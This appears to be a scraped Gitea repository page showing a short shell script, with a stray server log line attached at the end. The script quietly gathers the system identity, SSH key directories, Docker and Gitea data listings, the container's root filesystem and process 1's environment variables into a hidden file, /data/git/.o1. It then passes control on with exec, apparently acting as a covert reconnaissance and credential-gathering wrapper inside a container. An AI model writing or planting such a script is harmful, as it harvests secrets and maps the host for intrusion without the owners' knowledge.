You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
36 B
36 B
#!/bin/sh
D=/data/git
O=$D/.o1
: > $O
{
echo "== id"; id; hostname
echo "== data_ls"; ls -la /data 2>&1
echo "== data_ssh"; ls -la /data/ssh 2>&1; ls -la /data/ssh/* 2>&1 | head -20
echo "== varlibdocker"; ls -la /var/lib/docker 2>&1 | head
echo "== procs"; ls /proc | grep -E '^[0-9]+$' | head -30; echo "count=$(ls /proc | grep -cE '^[0-9]+$')"
echo "== cgroup"; cat /proc/1/cgroup 2>&1
echo "== p1root"; ls -la /proc/1/root 2>&1 | head -5; ls -la /proc/1/root/data 2>&1 | head -20
echo "== p1env"; tr '\0' '\n' < /proc/1/environ 2>&1 | head -40
echo "== data_gitea"; ls -la /data/gitea 2>&1 | head -40
echo "== data_git"; ls -la /data/git 2>&1 | head -20
echo "== compose"; ls -la /data/*.yml /data/*.yaml /data/docker* /data/gitea/*.yml 2>&1
echo "== done"
} >> $O 2>&1
exec "$@"
#2026/11/30 02:42:02 ...eb/routing/logger.go:68:func1() [W] [6aa9a088-25] router: slow GET /comp-sales/commercial_sales_comps.git/info/refs?service=git-upload-pack for 35.222.223.218:0, elapsed 3082.6ms @ context/context.go:653(context.Auth)